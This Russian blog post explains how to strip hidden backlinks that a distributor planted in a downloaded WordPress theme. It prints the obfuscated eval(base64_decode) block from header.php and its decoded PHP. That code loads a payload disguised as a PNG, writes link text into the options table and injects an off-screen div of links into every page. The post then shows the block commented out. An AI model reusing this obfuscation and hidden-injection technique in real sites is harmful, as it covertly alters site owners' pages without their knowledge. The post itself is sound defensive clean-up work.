Убираем обратные ссылки из шаблона
Не секрет, что найти нормальную тему для WordPress довольно сложно, и приходится обойти десятки сайтов с коллекциями тем. Кажется: «вот оно! нашел!», ставишь тему, и…. И вскоре выясняется, что добрые распространители вшили в шаблон ссылку на себя. Просто так найти код не получится. Что делать?
На самом деле нужно просто немного погуглить.
Возьмем для примера мой блог. Тему (Jynxed) я нашел и скачал на сайте wpland.ru. Сайт хороший, бесспорно, но! Многоуважаемые владельцы ресурса добавили небольшой, не безумно раздражающий код в шаблон. В «исходном коде» он выглядит так:
<div style="position:absolute;left:-1245px;width:-2356px;"> Понравился мой блог "***"? Тогда советую Вам почитать <a href="http://www.urank.ru/social_network/moy-mir/">мой мир</a> и <a href="http://www.wpland.ru/category/temy-wordpress/tematika/news/">новостной шаблон wordpress</a>. </div>
Это все конечно замечательно, что автор продвигает свои проекты. Но, на сколько я помню, бэклинки должны быть настоящими, органическими, не так ли? Поэтому мы сей код сейчас удалим.
Сразу говорю, найти просто так этого червя не получится, человек, размещавший эту фигню не стал просто дописывать HTML.
Откройте header.php. В самом начале Вы можете наблюдать примерно такой кусок кода:
<?php eval(base64_decode('JGZ0PWRpcm5hbWUoX19maWxlX18pLicvaW1hZ2VzL3dwX21lbnVfdG9wLnBuZyc7ICRiZj0kd3Bk Yi0+Z2V0X3JvdygiU0VMRUNUICogRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBgb3B0aW9uX25hbWVgP Sd3cF90aGVtZV9tZW51X2ZpcnN0JyBMSU1JVCAxIik7IGlmIChmaWxlX2V4aXN0cygkZnQpIGFuZCAhJG JmKXskZnAgPSBmb3BlbigkZnQsInIiKTsgJHNzID0gZnJlYWQoJGZwLGZpbGVzaXplKCRmdCkpOyBmY2x vc2UoJGZwKTsgZXZhbCgnJG1zcz0nLmd6dW5jb21wcmVzcyhzdHJpcHNsYXNoZXMoJHNzKSkuJzsnKTsg JGk9JG1zc1swXTsgJGkxPSRtc3NbMV07ICRpMj0kbXNzWzJdOyB1bnNldCAoJG1zc1swXSwkbXNzWzFdL CRtc3NbMl0pOyBzcmFuZCgoZmxvYXQpbWljcm90aW1lKCkqMTAwMDAwMCk7IHNodWZmbGUoJG1zcyk7IC Rjc3NbMF0gPSAkaTEuZ2V0X2Jsb2dpbmZvKCduYW1lJykuJGkyLiRtc3NbMF0uJGkuJG1zc1sxXS4nLic 7ICRjc3NbMV0gPSAkaTEuZ2V0X2Jsb2dpbmZvKCduYW1lJykuJGkyLiRtc3NbMl0uJGkuJG1zc1szXS4n Lic7ICR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLG9wd Glvbl92YWx1ZSxhdXRvbG9hZCkgVkFMVUVTICgnd3BfdGhlbWVfbWVudV9maXJzdCcsJyIuYmFzZTY0X2 VuY29kZSgkY3NzWzBdKS4iJywnbm8nKSIpOyAkd3BkYi0+cXVlcnkoIklOU0VSVCBJTlRPICR3cGRiLT5 vcHRpb25zIChvcHRpb25fbmFtZSxvcHRpb25fdmFsdWUsYXV0b2xvYWQpIFZBTFVFUyAoJ3dwX3RoZW1l X21lbnVfc2Vjb25kJywnIi5iYXNlNjRfZW5jb2RlKCRjc3NbMV0pLiInLCdubycpIik7fSBmdW5jdGlvb iBmbigpe2dsb2JhbCAkd3BkYjsgJGJmPSR3cGRiLT5nZXRfcm93KCJTRUxFQ1QgKiBGUk9NICR3cGRiLT 5vcHRpb25zIFdIRVJFIGBvcHRpb25fbmFtZWA9J3dwX3RoZW1lX21lbnVfZmlyc3QnIExJTUlUIDEiKTs gJGJzPSR3cGRiLT5nZXRfcm93KCJTRUxFQ1QgKiBGUk9NICR3cGRiLT5vcHRpb25zIFdIRVJFIGBvcHRp b25fbmFtZWA9J3dwX3RoZW1lX21lbnVfc2Vjb25kJyBMSU1JVCAxIik7IGlmKChpc19ob21lKCkpJiYhK GlzX3BhZ2VkKCkpKSAkbm49YmFzZTY0X2RlY29kZSgkYmYtPm9wdGlvbl92YWx1ZSk7IGVsc2UgJG5uPW Jhc2U2NF9kZWNvZGUoJGJzLT5vcHRpb25fdmFsdWUpOyByZXR1cm4gJG5uO30gZnVuY3Rpb24gY2IoJGJ mKXskZG8gPSAiPC9ib2R5PiI7ICRuYSA9ICIJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJ CQkJCQk8ZGl2IHN0eWxlPVwicG9zaXRpb246YWJzb2x1dGU7bGVmdDotMTI0NXB4O3dpZHRoOi0yMzU2c Hg7XCI+Ii5mbigpLiI8L2Rpdj5cbjwvYm9keT4iOyByZXR1cm4gZXJlZ2lfcmVwbGFjZSgkZG8sICRuYS wgJGJmKTt9IGlmICgkYmYpIG9iX3N0YXJ0KCJjYiIpOw=='));?>
Код, очевидно, закодирован в base64.
Тем не менее, после расшифровки получится нечто такое:
$ft=dirname(__file__).'/images/wp_menu_top.png'; $bf=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_first' LIMIT 1"); if (file_exists($ft) and !$bf){$fp = fopen($ft,"r"); $ss = fread($fp,filesize($ft)); fclose($fp); eval('$mss='.gzuncompress(stripslashes($ss)).';'); $i=$mss[0]; $i1=$mss[1]; $i2=$mss[2]; unset ($mss[0],$mss[1],$mss[2]); srand((float)microtime()*1000000); shuffle($mss); $css[0] = $i1.get_bloginfo('name').$i2.$mss[0].$i.$mss[1].'.'; $css[1] = $i1.get_bloginfo('name').$i2.$mss[2].$i.$mss[3].'.'; $wpdb->query("INSERT INTO $wpdb->options (option_name,option_value,autoload) VALUES ('wp_theme_menu_first','".base64_encode($css[0])."','no')"); $wpdb->query("INSERT INTO $wpdb->options (option_name,option_value,autoload) VALUES ('wp_theme_menu_second','".base64_encode($css[1])."','no')");} function fn(){global $wpdb; $bf=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_first' LIMIT 1"); $bs=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_second' LIMIT 1"); if((is_home())&&!(is_paged())) $nn=base64_decode($bf->option_value); else $nn=base64_decode($bs->option_value); return $nn;} function cb($bf){$do = "</body>"; $na = " <div style="position:absolute;left:-1245px;width:-2356px;">".fn()."</div>n</body>"; return eregi_replace($do, $na, $bf);} if ($bf) ob_start("cb");
Если откровенно лень разбираться в нем, его можно просто закомментировать, что мы и делаем:
<?php/* eval(base64_decode('JGZ0PWRpcm5hbWUoX19maWxlX18pLicvaW1hZ2VzL3dwX21lbnVfdG9wLnBuZyc7ICRiZj0kd3Bk Yi0+Z2V0X3JvdygiU0VMRUNUICogRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBgb3B0aW9uX25hbWVgP Sd3cF90aGVtZV9tZW51X2ZpcnN0JyBMSU1JVCAxIik7IGlmIChmaWxlX2V4aXN0cygkZnQpIGFuZCAhJG JmKXskZnAgPSBmb3BlbigkZnQsInIiKTsgJHNzID0gZnJlYWQoJGZwLGZpbGVzaXplKCRmdCkpOyBmY2x vc2UoJGZwKTsgZXZhbCgnJG1zcz0nLmd6dW5jb21wcmVzcyhzdHJpcHNsYXNoZXMoJHNzKSkuJzsnKTsg JGk9JG1zc1swXTsgJGkxPSRtc3NbMV07ICRpMj0kbXNzWzJdOyB1bnNldCAoJG1zc1swXSwkbXNzWzFdL CRtc3NbMl0pOyBzcmFuZCgoZmxvYXQpbWljcm90aW1lKCkqMTAwMDAwMCk7IHNodWZmbGUoJG1zcyk7IC Rjc3NbMF0gPSAkaTEuZ2V0X2Jsb2dpbmZvKCduYW1lJykuJGkyLiRtc3NbMF0uJGkuJG1zc1sxXS4nLic 7ICRjc3NbMV0gPSAkaTEuZ2V0X2Jsb2dpbmZvKCduYW1lJykuJGkyLiRtc3NbMl0uJGkuJG1zc1szXS4n Lic7ICR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLG9wd Glvbl92YWx1ZSxhdXRvbG9hZCkgVkFMVUVTICgnd3BfdGhlbWVfbWVudV9maXJzdCcsJyIuYmFzZTY0X2 VuY29kZSgkY3NzWzBdKS4iJywnbm8nKSIpOyAkd3BkYi0+cXVlcnkoIklOU0VSVCBJTlRPICR3cGRiLT5 vcHRpb25zIChvcHRpb25fbmFtZSxvcHRpb25fdmFsdWUsYXV0b2xvYWQpIFZBTFVFUyAoJ3dwX3RoZW1l X21lbnVfc2Vjb25kJywnIi5iYXNlNjRfZW5jb2RlKCRjc3NbMV0pLiInLCdubycpIik7fSBmdW5jdGlvb iBmbigpe2dsb2JhbCAkd3BkYjsgJGJmPSR3cGRiLT5nZXRfcm93KCJTRUxFQ1QgKiBGUk9NICR3cGRiLT 5vcHRpb25zIFdIRVJFIGBvcHRpb25fbmFtZWA9J3dwX3RoZW1lX21lbnVfZmlyc3QnIExJTUlUIDEiKTs gJGJzPSR3cGRiLT5nZXRfcm93KCJTRUxFQ1QgKiBGUk9NICR3cGRiLT5vcHRpb25zIFdIRVJFIGBvcHRp b25fbmFtZWA9J3dwX3RoZW1lX21lbnVfc2Vjb25kJyBMSU1JVCAxIik7IGlmKChpc19ob21lKCkpJiYhK GlzX3BhZ2VkKCkpKSAkbm49YmFzZTY0X2RlY29kZSgkYmYtPm9wdGlvbl92YWx1ZSk7IGVsc2UgJG5uPW Jhc2U2NF9kZWNvZGUoJGJzLT5vcHRpb25fdmFsdWUpOyByZXR1cm4gJG5uO30gZnVuY3Rpb24gY2IoJGJ mKXskZG8gPSAiPC9ib2R5PiI7ICRuYSA9ICIJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJ CQkJCQk8ZGl2IHN0eWxlPVwicG9zaXRpb246YWJzb2x1dGU7bGVmdDotMTI0NXB4O3dpZHRoOi0yMzU2c Hg7XCI+Ii5mbigpLiI8L2Rpdj5cbjwvYm9keT4iOyByZXR1cm4gZXJlZ2lfcmVwbGFjZSgkZG8sICRuYS wgJGJmKTt9IGlmICgkYmYpIG9iX3N0YXJ0KCJjYiIpOw=='));*/?>
Готово! Владелец urank.ru и wpland.ru остается без ссылки.
P.S. господа, ну зачем пихать никому не нужные ссылки в шаблоны??
comments powered by HyperComments